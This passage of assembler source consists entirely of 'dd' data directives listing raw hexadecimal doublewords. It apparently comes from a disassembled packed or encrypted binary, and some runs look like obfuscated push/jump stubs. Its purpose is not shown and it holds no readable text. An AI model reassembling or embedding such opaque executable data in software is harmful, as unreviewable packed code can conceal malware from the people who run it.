0B29CCE62h, 9D947588h, 82BD3B20h, 76DFEACFh dd 0CF82BC6Ch, 4B3398EFh, 0CCBBE6DDh, 4A3B5202h, 82BC59CBh dd 782EFACFh, 9C82EF2Eh, 55CF82BCh, 0E41FFE78h, 4F346BEBh dd 319E6DACh, 68BE4A45h, 7CF01F8Eh, 0F9B1CFD7h, 0BFFEh dd 1ACE4400h, 3542435Ah, 1FADE09Eh, 6FC40736h, 142F7971h dd 0CDBAA027h, 596814BAh, 0F6D70106h dd 17F6A0DCh, 0B378F8ECh, 4E5FC9E2h, 6E0EBAC6h, 9399823Dh dd 6B645366h, 5EB82AEBh, 8D9BC64Eh, 0C9BECBB6h, 6610BD00h dd 3C4BDD27h, 5CA8E797h, 101F6865h, 0EA3ECF86h, 9A23AA9Dh dd 0D0DD4B33h, 42C318AFh, 0CF84EFE0h, 0BF3A573h, 7C56064Fh dd 0EF23BFDAh, 0FD000003h, 8877A4D2h, 0F6111A42h, 8B7CA1DDh dd 0F8071442h, 0F884A9D1h, 9CC2095Dh, 1E5E708Fh, 0A2DAF20Dh dd 1A5A8E79h, 6FD60311h, 0CF886875h, 0D01D95E6h, 2705D51Ch dd 0A49F3887h, 614A3097h, 4A76B226h, 0B6BEFE18h, 0BF3B60B6h dd 435A1ACEh, 0C7D49440h, 0C65C2Bh, 23B9C64Eh, 0EC64E00h dd 6BEA1F1Dh, 0CF88E197h, 281F68C0h, 88FBB6A6h, 3B4C4C9Bh dd 48DA3B4Eh, 0BCF87E1h, 12A7261Dh, 61D8BD0Dh, 23B1C7B7h dd 0DF0756Eh, 36139h, 1E5C6F00h, 0A4D8F20Dh, 1B438877h dd 9ED8F512h, 235B728Dh, 7FD382FAh, 0FE091248h, 8877A4D0h dd 0F4131840h, 997BA0C0h, 69FBE570h, 2B60CF88h, 5A1ACE83h dd 78737F2Dh, 9D3E49C7h, 43FE7E6Ah, 0C1A11350h, 0FCFCEBDCh dd 32358A0Bh, 2760CF83h, 2E61B7A7h, 832D59C7h, 77A609CFh dd 0B15A50FFh, 4A81F9h, 0EC90000h, 0B15801Dh, 50C64D81h dd 0DC394ED8h, 0CF82B0BFh, 0A73542D6h, 0BBA43F46h, 0DD47CECEh dd 7ECF82ECh, 5245FCAAh, 82EC3DA3h, 5BBA25CFh, 0B19F7C23h dd 0F465F9h, 0F07C0000h, 0C608F7F7h, 3F2D7796h, 0BBF3D96h dd 0F4EEC553h, 435A1ACEh, 54CE3742h, 7C64D80h, 0BE152211h dd 3725B7C0h, 0C090B7EAh, 9BC8BB76h, 47404929h, 62C6D981h dd 0DD07FC4Fh, 0ECFD909Dh, 9FC64E74h, 49359DAAh, 0CF51B256h dd 22C64E6Bh, 48DCB3ABh, 0CDBA899Fh, 35525B1Bh, 0F7ACE383h dd 76DF2830h, 0CF839811h, 0DFFED3E4h, 89C73EBh, 2EFAA39Eh dd 0DCF304FDh, 0FD8A39Eh, 26950009h, 35D8BAFCh, 2AA196E3h dd 2D1A6734h, 4125B7A7h, 72EDAD81h, 0A229162Dh, 0F7B4D0BCh dd 22FD7563h, 22144h, 0DE9C2F00h, 6418B2CDh, 0DB834837h dd 5E18B5D2h, 0E39B324Dh, 3F9342BAh, 0BEC9D288h, 48376410h dd 0B4D3D880h, 593B6000h, 6A3BA530h, 6B20CF88h, 16B7D0C3h dd 0E0D33568h, 2DFE7C53h, 9586E6D2h, 0A3CF5D6Ch, 842AF750h dd 2DB75Ch, 0FA2EC64Eh, 1D0EAF47h, 0EE6BEA1Fh, 5CF82B0h dd 8795FC13h, 6ACF82B0h, 0E023FA62h, 0DC46CFEEh, 7FCF82B0h dd 0FA20FFA9h, 5412008Fh, 0EED9AAE9h, 2A679E5h, 0C3F09F2Fh dd 0F9E1F9B1h, 69000000h, 435A1ACEh, 0D3328940h, 0C64D8051h dd 64E11602h, 0C64D8082h, 0BED147D1h, 4D859657h, 0F17163C6h dd 0FEEADD2Ch, 0DF669F7Eh, 0C64D8505h, 2154C256h, 7300B3ABh dd 0FBEE2141h, 0BB294671h, 67796313h, 6B182B0Ah, 4AF4DB7Ch dd 48849B2Ch, 97762016h, 0E76E9B0Dh, 0CF8382A2h, 4B3667B1h dd 0ACE3933Ch, 0CD1E6958h, 46CFBACFh, 0CF8379DCh, 0F560A97Fh dd 0CF8379EBh, 8009B870h, 0BB2B4715h, 6B9C8CD8h, 6A64755Ch dd 0C751B3EAh, 5F7681ECh, 0DAF10E1Fh, 0C8A68005h, 63B5C64Fh dd 21A7C9B5h, 1FFA7563h, 0F143h, 8ECCFF00h, 0F468629Dh dd 8BF3D827h, 0EE6865A2h, 530BC2BDh, 0AF03B24Ah, 4E396218h dd 0B8C7D480h, 44436810h, 0C9CBD090h, 6BAB35A0h, 0DBB0CF88h dd 13B7D053h, 3F5E1ECAh, 0C85C33E5h, 356816BDh, 7C53E0D3h dd 676309FEh, 85EB1BA0h, 0FE095063h, 0F981AACAh, 0C817B7D0h dd 4D80E33Dh, 0F6A078C6h, 0E484303Bh, 6A0ABEA9h, 37A92C1Dh dd 1CC64D80h, 4F70350Ch, 0E778088h, 0CF88622Eh, 0AFB4EB3Dh dd 0E53FC605h, 76CF8861h, 1A6B8A2h, 85F78F2Eh, 6DFF0A13h dd 78E3C17Bh, 6B46C8h, 1C7994D4h, 1F261EAFh, 2AFB1AE5h dd 0C9F48D1Fh, 0F2D43A2Ah, 0F1BA8F91h, 2354C40Ch, 0F1BA40A2h dd 2E05130Ch, 0C6D79741h, 306F0FB9h, 0C1DC9A33h, 10E332DDh dd 0A8D7C4A4h, 3C4B3C3Ch, 5FA9E494h, 1F6EF64h, 0A3C892CCh dd 0AD7A11B9h, 3CDD9E8h, 2D000000h, 3CE9565h, 9D473C53h dd 0FC5C2DDh, 0BB13504Fh, 289FE4BBh, 0A1285B32h, 2CA1E6B9h dd 0A3285B32h, 2B9FE4BBh, 68805C33h, 748Dh, 89240489h dd 405E0h, 0E8830000h, 24048704h, 0E689565Ch, 4C681h, 0EE810000h dd 4, 5C243487h, 68240489h, 67D8h, 68243C89h, 93AE185h dd 8324048Bh, 8B5404C4h, 0C483243Ch, 8BA5204h, 1000000h dd 0B951FAh, 1000000h, 590189D1h, 2434FF5Ah, 4C4835Fh dd 5124048Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFB5848h dd 4C5818C5h, 0ECE5B8E1h, 0C503093Ah, 3385E0FFh, 0A20A219Bh dd 0E6F16695h, 0ED8120F8h, 574B6604h, 0CCF6670Bh, 673C5CFDh dd 640946DDh, 9D29717Bh, 75612328h, 229E6F4Dh, 0B7E40EBEh dd 9E80647h, 0E6000000h, 48EE7AFDh, 98AD656Ch, 84BA6660h dd 0EB3BEA4h, 5E614E82h, 98E0Fh, 0BA600000h, 17F941DDh dd 816149B0h, 5BA1C6h, 57BF6600h, 6833h, 29B40000h, 0D0CB815Ah dd 8B28916Ah, 0E860160Ch, 0Ah, 80FF808Ah, 444681Ah, 890FB389h dd 0 dd 61DD8A5Ah, 0C28EF181h, 0E88116E4h, 3DB5F2C1h, 0B192C181h dd 81661592h, 81018EC0h, 0C157F8F1h, 0C89FC72h, 13E916h dd 15D80000h, 31321AC2h, 0F2A4C987h, 0DD2CA821h, 64E753CBh dd 8B6656A9h, 0EA815BD9h, 6043AC49h, 0C28101B0h, 6043AC45h dd 4CD78166h, 40FA81FAh, 0FFFFFA5h, 1C85h, 69EB8100h, 0E90CA6A0h dd 24h, 0E22BF8DFh, 8DC0B794h, 7544B778h, 57347FABh, 6A2CBF47h dd 60E95C9Ch, 63FFFFFFh, 0AFFF75E0h, 6D4DA76h, 0EF5E8D8Dh dd 6A093Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 678B18C3h, 430907Fh, 8B666B75h, 298D89F3h dd 6A093516h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 31F0C356h, 0C766E7F5h, 35287D85h dd 72BC09h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0C1B62F16h, 6B88DBCAh, 2ED19D8Bh dd 85C70935h, 9352255h, 0 dd 1AF5B58Bh, 0B5FF0935h, 93503DDh, 0AE18523h, 95FF0935h dd 9350D05h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0FDC35141h, 68C0F7Dh, 89000000h, 352C5185h, 0FF006A09h dd 35082995h, 0EBC08B09h, 0B3176859h, 96F40694h, 82B07Ch dd 7C9E6974h, 0E3756C78h, 4359F9A1h, 0A3210F2Bh, 0BFB93694h dd 84572B2Bh, 978D792Ch, 0A0730A8Fh, 1C76193Dh, 0F288FCB5h dd 3F02371Dh, 0C555AA2Ch, 3D0CAD91h, 7CB7A0ADh, 62B01C43h dd 0BA5A5DCCh, 521991Ch, 0EABD592Bh, 9D0E8073h, 0ABE9C6CCh dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h dd 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h dd 1E80097h, 3D94E7A6h, 82F48332h, 20E916BEh, 68000013h dd 93AF20Ah, 0FA8E5BE9h, 0F30A68FFh, 51E9093Ah, 68FFFA8Eh dd 93AF3C9h, 0FA8E47E9h, 0F52568FFh, 3DE9093Ah, 68FFFA8Eh dd 93AF5CAh, 0FA8E33E9h, 0F67A68FFh, 29E9093Ah, 68FFFA8Eh dd 93AF71Dh, 0FA8E1FE9h, 0F7DB68FFh, 15E9093Ah, 68FFFA8Eh dd 93AF8D3h, 0FA8E0BE9h, 0FAB368FFh, 1E9093Ah, 68FFFA8Eh dd 93AFBA1h, 0FA8DF7E9h, 0FD2568FFh, 0EDE9093Ah, 68FFFA8Dh dd 93AFE78h, 0FA8DE3E9h, 1368FFh, 0D9E9093Bh, 68FFFA8Dh dd 93B0111h, 0FA8DCFE9h, 0B51240FFh, 0E4FD70E8h, 0B32E41B7h dd 0D9FE76EAh, 0B4253CC4h, 0AB5F2CE7h, 27627B2h, 0A92F6C69h dd 0EF712AB7h, 93356673h, 501FA53Bh, 8A1B12FBh, 0AE2B4749h dd 445DD143h, 653D8857h, 64343B69h, 96F21503h, 11BC208h dd 0C430B613h, 0DB69880Eh, 13011BF5h, 658C0D25h, 8F627FF3h dd 2EC9BB2Ah, 37100461h, 928523D6h, 2591h, 0EB154200h dd 0F78A6A77h, 0CAD8F4ACh, 1503725Bh, 64F4FFA1h, 13011162h dd 0F9D2C223h, 92852994h, 0CFD3h, 2B47B400h, 1D9F43AEh dd 0DC609306h, 0A8FA618h, 0E0F975E7h, 227A94ECh, 9488439Dh dd 0F36FE160h, 7827B5E6h, 0B81C362Bh, 6C623BA4h, 38BCD952h dd 0C62DAAC6h, 16B66E39h, 3530588h, 0A8F5FB15h, 49E48C17h dd 0A31FA150h, 4DB3A280h, 9438B65Fh, 0CBF6804Eh, 5A72740Bh dd 707B4122h, 0EE06DAB5h, 20B9B04Ah, 6D6C057Bh, 0A2C6DD79h dd 796100E9h, 10E7h, 0E1BA1F3Dh, 697021Fh, 0DBC0DD52h dd 0F8C0D25h, 0D4C9D049h, 41D8B2C7h, 0A6BD4358h, 78F66A33h dd 0A2BE425Bh, 0CC06835h, 0FB4FECD6h, 18BBE812h, 0A032AD15h dd 763D1155h, 62150C7Eh, 355B763Ch, 944A721Ch, 1C355B2Eh dd 846A842Ah, 545E8448h, 501C355Bh, 0FD1A64Eh, 36158613h dd 0A12BB915h, 951C3641h, 4550E313h, 3428819Dh, 2AC448ABh dd 23AB45C7h, 371927Dh, 0D9506615h, 35C32EC0h, 13011193h dd 0EAE3D154h, 928529A3h, 0B2C4h, 60FCFE00h, 0FCF87C77h dd 0AE2B4755h, 4158D143h, 417322B2h, 69931C36h, 930DE9F0h dd 7C19129Fh, 0BBB72972h, 7D48D31Eh, 296529A5h, 363E517Bh dd 53A3451Ch, 365BABDh, 0ADC63815h, 0AF47C928h, 21BEDF01h dd 0D00EBE96h, 0BCCCA07h, 0C9F3DBFDh, 5A544950h, 0E0A1C860h dd 97EF0F29h, 0CD4FA24Ch, 1BBEB729h, 0A34529CBh, 452DB4E9h dd 0FE7h, 0E1BA1F3Dh, 697021Fh, 0DBC0DD52h, 0F8C0D25h dd 0D4C9D049h, 41D8B2C7h, 0A6BD4358h, 78F66A33h, 0A2BE425Bh dd 0CC06835h, 0FB4EECD6h, 18BBE812h, 0F2AB2E47h, 6852903Ch dd 5C1C3641h, 2C40BA3Ah, 4749EAB3h, 0D143AE2Bh, 0A157445Dh dd 41BB138Eh, 0C044AF2Ah, 273BAD34h, 2D21E1BAh, 9D31E9BCh dd 3553407h, 5B724A15h, 1081B6F0h, 9E40EE06h, 0DFDDE07Eh dd 0A3F6E286h, 787B66FBh, 0F6D2FAF4h, 0D425A5C6h, 53A36022h dd 43DA12BDh, 31C0E616h, 0D24B13A6h, 0A5B5FFA5h, 2FB124ABh dd 19F2FC1h, 1D839D0Fh, 0EF11BDE3h, 54666673h, 6136BEDBh dd 0CE16839Fh, 0E85374F4h, 28200AA9h, 7E00000Fh, 32A6F7DCh dd 87F9A23Fh, 28B0EDE8h, 82F6A730h, 0E6ADEEEBh, 5D7CF595h dd 36A3B840h, 607DF365h, 30A9C53Bh, 0DB09C56Bh, 12FB4EF1h dd 4713B8E5h, 0B843AE2Bh, 0B9935EDh, 15034090h, 75594264h dd 3638130Dh, 37BF344Ah, 8D4119ACh, 0CDB5D857h, 329A3C0Bh dd 0E80C9588h, 0B9F5DB69h, 2FB61C35h, 964C8045h, 1C35B92Ch dd 6175828h, 93C41646h, 94F9995Dh, 0D3895044h, 55h, 0AA65CFAFh dd 0B24639A8h, 9B2E9B42h, 41B903A1h, 0FFAB1C36h, 0F0ED4626h dd 48A6487Ah, 9F565E84h, 484E1502h, 0F7E47A84h, 60FE00A6h dd 0F8FC8073h, 11F626Ah, 0FD9A9613h, 0BCE2A6A0h, 13011FF6h dd 1FDCE6FCh, 0D6D81301h, 900AEAECh, 8F2019Eh, 0E57h, 0C39B2E49h dd 94FFBF0Bh, 8335D7BCh, 4ED05E96h, 0C2150CA2h, 120EB01Ch dd 0CC601885h, 61C9F3B1h, 1BBD12FBh, 6E07F9D5h, 0D2E576Bh dd 46A5F16Dh, 11A42FAEh, 0B6758F0Bh, 2EC069Bh, 2BEFECAh dd 0DAF729D2h, 0EEEB8678h, 0E5157806h, 0B9150BD1h, 5FFB2009h dd 4DE437Dh, 1C3622BEh, 0AF2844BAh, 0D9FFB541h, 4A57CBF5h dd 6938F51h, 4F5560EBh, 52642929h, 0B11DD337h, 2E200F3h dd 0F2F2F415h, 0F2D5FA0Eh, 0CCFAE48Fh, 2200000Dh, 560A9330h dd 1BDDBEDBh, 7C049904h, 36AAF3E4h, 3A019A3Fh, 4950C941h dd 2978C54h, 4C49E799h, 0C95894Fh, 0AFF5998Fh, 12FB4D05h dd 2BEFD401h, 1C3641A5h, 9D31E9BCh, 0CAD8807h, 0BA467615h dd 94A901CFh, 8E10BE36h, 6E548A3Eh, 6A12FC37h, 0F20CB044h dd 923C617Eh, 8EBF468h, 0F5FC9D94h, 7797D73h, 2A5E6E6Bh dd 0FC374E74h, 50A44A12h, 9C932DD1h, 5762F501h, 0B4AD4F7Fh dd 37D7DD03h, 0CDD312FCh, 804CD023h, 0FC375862h, 0AA4A4C12h dd 36A9E0FEh, 993F0BC9h, 0AF96494Dh, 0E5CD54E9h, 0D27h dd 0A1FADF7Dh, 465742DFh, 9B009D92h, 4F4C4DE5h, 94099089h dd 118F287h, 0E67D0398h, 3836AAF3h, 0E27E029Bh, 0CC00A8F5h dd 0FB4CAC16h, 0D8FBA812h, 0D802B47h, 717760BCh, 99061AE4h dd 34289C57h, 809923ABh, 9E56DA19h, 8173821Fh, 50DA85C8h dd 79BE289h, 2EB10000h, 0D50BC39Bh, 150CAD9Dh, 0C5379719h dd 0F56B30A9h, 526C6079h, 0AE32C1DEh, 5B23C746h, 0BA736C30h dd 21AF4766h, 12FB499Fh, 7C19E59Dh, 0FB94B460h, 18A8142Bh dd 26CE5C7Dh, 7C50089Bh, 61557050h, 3B3DD278h, 0DB6E25BBh dd 648A0BC8h, 0AFF5C480h, 0B09A19E9h, 0C77h, 514A6FCDh dd 9607928Fh, 4B504DE2h, 9FFC9D95h, 445940D9h, 91880277h dd 56CD9308h, 88A65A43h, 52CE920Bh, 1C705845h, 0FB4B3C86h dd 28AB3812h, 43AE2B47h, 0AD445DD1h, 3EB5203Bh, 0AC4754CAh dd 82654FBCh, 0F7D0C451h, 894FFD96h, 6F0D1h, 0A52B0200h dd 0BC1C3641h, 79D31E9h, 150CB1ABh, 0E799EDD5h, 9AAF73F0h dd 0B01001BFh, 8EC9F8Fh, 0CCCD645Ah, 151FA325h, 35CC58EDh dd 9D1FAF41h, 0AB41881h, 996E8613h, 0A34E4BE7h, 0F9D58D18h dd 0C8D7B0EBh, 42A2440Bh, 0E9AFF980h dd 0D4ECD65Dh, 2A00000Bh, 6EF2AB08h, 43B5E6F3h, 74ECB12Ch dd 3EC2DBFCh, 32E9B227h, 21B8B159h, 6A6F047Ch, 24B1AF31h dd 746D0177h, 974D8127h, 12FB4A2Dh, 47577C29h, 5E1EAE2Bh dd 595FE40Ch, 3E5BD2E0h, 0E86810B0h, 0D5F454A7h, 322EA221h dd 7AF4EA5h, 12971DC3h, 0D931C36h, 0AFA89CE9h, 89502C5Eh dd 63C09h, 0AD15CA00h, 0A6F48895h, 48E11F36h, 0D61EA251h dd 2CA0784Bh, 0F1009D92h, 0BDE3876Fh, 150C0920h, 1910AADEh dd 0F5EF7180h, 12FBE8CFh, 23D125CBh, 0B3AF517Dh, 6F037526h dd 0CFF17F72h, 0E612FBE8h, 0DD3FBD3h, 0BC8E776h, 0EFEC827Ch dd 0BE748004h, 0E8ECCC18h, 72F1E9AFh, 0B1688h, 0E9CE6C00h dd 0A8312CB4h, 0E7F26DF3h, 0AD2A42B6h, 0E8F168F0h, 0F793E8B3h dd 0BE425B7Eh, 0F56B30A5h, 0BB3D5E7Bh, 6F613AA7h, 4A3B811Fh dd 9E2F12FBh, 0AE2B471Dh, 18819C1Eh, 4FE355DCh, 342D9F52h dd 0D221B8B5h, 0DF51A04Eh, 0B1AF5144h, 0F568CD24h, 96676C0Fh dd 0FD60ADAEh, 0F00A894Fh, 0F916079h, 57B40E7h, 328A0000h dd 159AEC77h, 0D37A7A6Ah, 0A12BB915h, 0D11C3641h, 2AAE455Ch dd 0B31BE898h, 4DADD462h, 0F6BD53A3h, 151C360Ch, 0C602CA82h dd 677D3834h, 1C360C5Dh, 5A995759h, 36901ED6h, 2A150C7Ch dd 5E844884h, 12FB7C54h, 0B5724E50h, 0AEB2DC34h, 6327D323h dd 1FD7C259h, 7328B1ADh, 0EBD10FBBh, 0DF12FC11h, 0AA4950C9h dd 3B36C826h, 48E4569Eh, 8C17A44Fh, 3C8F8D4h, 1C573AD6h dd 0AA2F46B8h, 0D9009E4Ah, 8F0BC899h, 69B1DD09h, 45ECE9B0h dd 0A1E5Dh, 0E1C67400h, 0B02944BCh, 0DFFA75EBh, 0B5223ABEh dd 0E0F970E8h, 0FF8B00BBh, 0B62A7366h, 0FD8318BDh, 0B3257663h dd 0D77922BFh, 49E3E9F7h, 0C6D712FBh, 0AE2B4705h, 0C1DF9F43h dd 0C96CEC70h, 0BFB32DC9h, 0EF45A8F4h, 915FB1DAh, 0B04AF262h dd 8AD71FB8h, 6673EF9Ah, 3C901666h, 0F8C47BCBh, 95271FFCh dd 70F4FF9Ah, 0C8B1DC84h, 0E6B68950h, 15000001h, 43AE2B47h dd 88445DD1h, 41149E44h, 8E101C36h, 0E3B69166h, 0F7DBA32Bh dd 9F902EBAh, 43610DE9h, 1503311Ch, 2079A0D0h, 0D5F170B4h dd 8648D81Bh, 471300A4h, 179D4387h, 131300A4h, 281C698Dh dd 859ADE2Fh, 498992h, 154A0000h, 0BE668BADh, 59A71F32h dd 9216DDC4h, 0CC4CF62h, 32F322C0h, 0F7091503h, 13955C79h dd 0C91F1DDh, 99143B7h, 0CD5BE212h, 13013CEBh, 924B39ACh dd 9284FF3Bh, 0E1968D2Fh, 148F9C3h, 5EBED13h, 1304AF1h dd 47890000h, 6C568C2Bh, 681C3641h, 6824A846h, 41347E24h dd 0AE301C36h, 36418E34h, 0FB748A1Ch, 5F9113DEh, 8DA41897h dd 3F58D0EAh, 36411FA5h, 0F25C191Ch, 86DB1D83h, 78549A3Ch dd 0F0C7CD48h, 0B83CCFBFh, 3EABC739h, 0B93BB623h, 8259737h dd 0EE6A3191h, 0A02247A5h, 5929CD54h, 0AF807221h, 0B2273C7Eh dd 0C333BD3Fh, 0E39ED549h, 0AE2B44FAh, 0CD7B312h, 9EEAE2h dd 1C357ABAh, 0EFCC28AEh, 35A1724Dh, 118EA21Ch, 0E9D311BDh dd 0DD1C3555h, 815E3BBBh, 0E6E5E36h, 0D63B7210h, 0FD873BDDh dd 0F3D440E8h, 0E301AD49h, 1501C578h, 26626A6Ch, 0FEA25278h dd 0EFEC8212h, 0C9F3B1D5h, 0BD12FEA2h, 7D21D51Bh, 0AEEFEA83h dd 0F478332Ah, 8BB12B18h, 727C1912h, 0D534687Ch, 0CA69F2D7h dd 83EE0h, 1A69400h, 5049E49Ch, 0FF9A954Bh, 5542DA9Eh dd 999048h, 1FEBA09Bh, 560A9306h, 1DE3B8DDh, 53059603h dd 0F7D9C2DFh, 47C30997h, 26B712FBh, 0AB2E47A5h, 93396723h dd 0C31C3641h, 3FC130ADh, 0B6936385h, 0ECB12E42h, 0FC247A42h dd 62CCF97Fh, 2B47EB92h, 325E1EAEh, 4BB779E2h, 48AB3428h dd 43CA2AC4h, 57445DD1h, 29C2Bh, 0CB655700h, 55A123CEh dd 0C39B2EAEh, 0D50BBF0Bh, 1C3641EFh, 273BC5EBh, 35A43ABAh dd 43150352h, 0C6569Dh, 0C1130131h, 0F6577064h, 7192850Ah dd 222h, 208DA31Dh, 95618F08h, 2BB915EEh, 1C3641A1h, 4DE31395h dd 1C364164h, 74583083h, 0CB18A2Eh, 68648A15h, 0E0BDDA56h dd 0B33296E6h, 0BDE83069h, 2EABC739h, 0C56D38C3h, 0FBF31A8h dd 0C8E70AD1h, 0CD8FE0Bh, 0E9AFF6CEh, 503A24CFh, 0A6000007h dd 0CA8E0FB4h, 8F514A57h, 0E0980590h, 8A4E4F48h, 9E950693h dd 95041DEDh, 0BEDB5008h, 98051BDDh, 0F8E17D03h, 0C3E1ADA3h dd 12FB46F9h, 47DBE0EDh, 9F43AE2Bh, 420FB5EBh, 0E50B1C36h dd 16839F11h, 0EDF469DBh, 19E9206h, 0DCC85DF2h, 8A7AEB19h dd 0D9E301CDh, 0CD1C3641h, 0BDB12BCBh, 41D6DC02h, 0C6DC1C36h dd 1C3641FCh, 0CACCF6F8h, 7AD37724h, 0ED894FF9h, 15Ah dd 0BE2B479Eh, 37BA34A1h, 23A93793h, 171C3641h, 77EB6591h dd 396316Ah, 17D9C45Bh, 0AD2C45B7h, 8632C246h, 3641558h dd 0EE50B15h, 11B387Eh, 0B8ACF913h, 85236E9Fh, 3EF992h dd 2EDA0000h, 0D50BC39Bh, 1503724Ah, 25C928AEh, 11913B69h dd 63851301h, 11BBFD93h, 297C1301h, 506A1E3Bh, 0AE32C1DEh dd 1118E34h, 29AEC613h, 5A7C46CAh, 299BF29Ah, 0D1CC9285h dd 0FB000000h, 43AE2B47h, 8D4158D1h, 4119A341h, 8B0D1C36h dd 0FC70E46Bh, 809C10E3h, 7B68617h, 291C3610h, 37EFAC35h dd 0EF674D93h, 3D631C35h, 0C39B2EB9h, 647DF10Bh, 9B061B8Dh dd 0DA1AD458h, 0A0E9702Eh, 0D9A91501h, 0C2D75788h, 1AF470Fh dd 219BEFDFh, 8933710Eh, 7D12FEF3h, 0EA5E955Bh, 76886673h dd 0A11BDBF8h, 53CDEF88h, 0BB29AB46h, 12FEF411h, 41B02941h dd 0DFE305BFh, 86DC0691h, 0BCE10F19h, 38AC2D44h, 0F2D806F0h dd 0CC1C06ADh, 22000005h, 560A9330h, 1BDDBEDBh, 7C049904h dd 36AAF3E4h, 3A019A3Fh, 4950C941h, 2978C54h, 4C49E799h dd 0C95894Fh, 0AFF5998Fh, 12FB4505h, 47EFD401h, 6EF2AB2Eh dd 5B7EF5F2h, 0E80B8EA5h, 22118A64h, 43AE2B47h, 57445DD1h dd 482Bh, 2B475C00h, 0EB9F43AEh, 0B6CC893h, 0EAF8677Bh dd 1C35C6E0h, 0A822D2D4h, 0FC1DFDB4h, 0D45F5F4Ch, 0F372D71Ah dd 0DDFA7601h, 6C206C0h, 360EF2D8h, 22C0E61Ch, 1C360E98h dd 1CC20A8Ch, 1C360E96h, 0E80C92h, 38h, 802B4751h, 8F9A8153h dd 3EE0018h, 35BA5275h, 0EFEC821Ch, 0FE9B9004h, 8C9843F3h dd 0D03843DBh, 0D1FAEA3Bh, 34A70B68h, 823BB5BBh, 0AAC6B1A3h dd 11FA12Dh, 0A88B6094h, 0A5BE2B47h, 0B13FC130h, 90F09C42h dd 9575AF8h, 5A608289h, 4C1C35FBh, 0E0C92E7Eh, 81774D4Dh dd 7BFDF4EDh, 9948B75h, 38E66EAh, 0AEF4D8B0h, 150BE168h dd 28D2FA9Ch, 36A3BB34h, 0D1EBE3B8h, 45B73F5Ah, 9D41B029h dd 5271E5E5h, 4BFEC2DFh, 9D28CC49h, 647A520Ah, 0BD1D721h dd 43BD1197h, 77E9B22Fh, 6277EEFBh, 10E30D8Fh, 0F5683083h dd 14CA02ECh, 15030FE5h, 519CDD3h, 0D8F2D5C0h, 4797159h dd 6DCF0000h, 908D5348h, 53CC9409h, 8BA35546h, 52CB8D0Eh dd 2C5D5647h, 0C9D2C75Eh, 24791C17h, 0C8D5C25Ch, 1A831C10h dd 82485636h, 7612FB43h, 2B476665h, 0F76BEDAEh, 999507EAh dd 0E17FF100h, 948BFDF4h, 297AEA09h, 51C2403Bh, 1B849863h dd 3A32CC82h, 54B9599Dh, 16894FF9h, 0E50C8DA4h, 41E49363h dd 0A3000000h, 0BC39B2Eh, 30DF1D5h, 0BC3E515h, 39627FF1h dd 0E7F26B95h, 559C0519h, 298D23D3h, 591300F5h, 3772ECC5h dd 0EF8CAD51h, 44AA446Dh, 55DF3888h, 29D7B03Eh, 0F668F0CDh dd 0D4200AE9h, 71000003h, 43AE2B47h, 57445DD1h, 9D433D88h dd 1C364117h, 6B638D13h, 3643235h, 6590F015h, 339CA80Fh dd 0A92FE511h, 0A07F5D25h, 13A228B6h, 10961301h, 0A35B1B0h dd 0F3D563EAh, 0B41300E3h, 438A4331h, 2792855Ch, 83FD5857h dd 52A2AD41h, 20A3h, 9B2EE400h, 4AD50BC3h, 0AE150372h dd 953BC928h, 56130111h, 0A9E4E5CFh, 0BE928529h, 0D7h dd 0AE2B470Dh, 4158D143h, 0E3FE738Dh, 0E9688C10h, 46A3BB45h dd 0B044AA2Fh, 9787223Eh, 2BFFE64Ah, 98F0373Ah, 0AF883E28h dd 223EB241h, 0BF31A8C5h, 268FFEDEh, 8DA11C36h, 5DD18714h dd 3C388844h, 138EA184h, 627AD9AFh, 35800B92h, 3433715Dh dd 0E815029Ah, 0DFB48098h, 9A543AC7h, 7B536601h, 1E9C8D53h dd 16980BCCh, 859306B6h, 606507E6h, 5FD6E894h, 869F613Ah dd 0CAC9D313h, 8D14E9A2h, 2DEA5h, 0A1063400h, 0F0E984FCh dd 9F3A35ABh, 0F5E27AFEh, 0A03930A8h, 0BF4B40FBh, 0F66A33A6h dd 0BD43587Dh, 0F36536A3h, 9739627Fh, 4123A937h, 861712FBh dd 0AB2E4745h, 0A9C23CF2h, 0B802A02Ch, 0AC1C3641h, 0DC50CA2Ah dd 4EB30BC3h, 338E8502h, 618F0A27h, 2E13B895h, 0D50BC39Bh dd 1503724Ah, 1AA428AEh, 0D85C9704h, 0C107951Ch, 82130111h dd 0B5183123h, 0B2928529h, 0D4h, 0AE2B47E1h, 41D9F43h dd 0E00E8BA5h, 16839A14h, 0ADC537DBh, 6B3AC82Ch, 0CD1C3641h dd 5B534851h, 0A33AB23h, 0DAF26E7Dh, 3551FEC4h, 0F4FA1Ch dd 0C905928Eh, 51D5DF05h, 150D1C35h, 5C983E84h, 0A77F4AD5h dd 773D6327h, 731C3551h, 0A9E5896Dh, 0BEF163D9h, 12E29675h dd 2F4E17Ch, 8C119715h, 9C30E8BBh, 0CC9E0006h, 6F02F40Bh dd 2F1EE82h, 4E7E707Eh, 7724B5ACh, 75716801h, 0E9A3725Dh dd 0E0F9E180h, 36000001h, 7AFE9F04h, 0DFA1FAE7h, 90485540h dd 0DA9EFF98h, 4E455643h, 0C5D44D3Dh, 8E0B20D8h, 0C8D54B0Dh dd 88110DD3h, 33711D13h, 12FB4089h, 156B507Dh, 41A12BB9h dd 13951C36h, 0F9F069E3h, 0F7797861h, 302BD5F9h, 47C51A5h dd 7D2E6F68h, 43AE2B47h, 0A5165DD1h, 0C590F4D1h, 0DEA2FBF5h dd 119E5542h, 0CCF6AC86h, 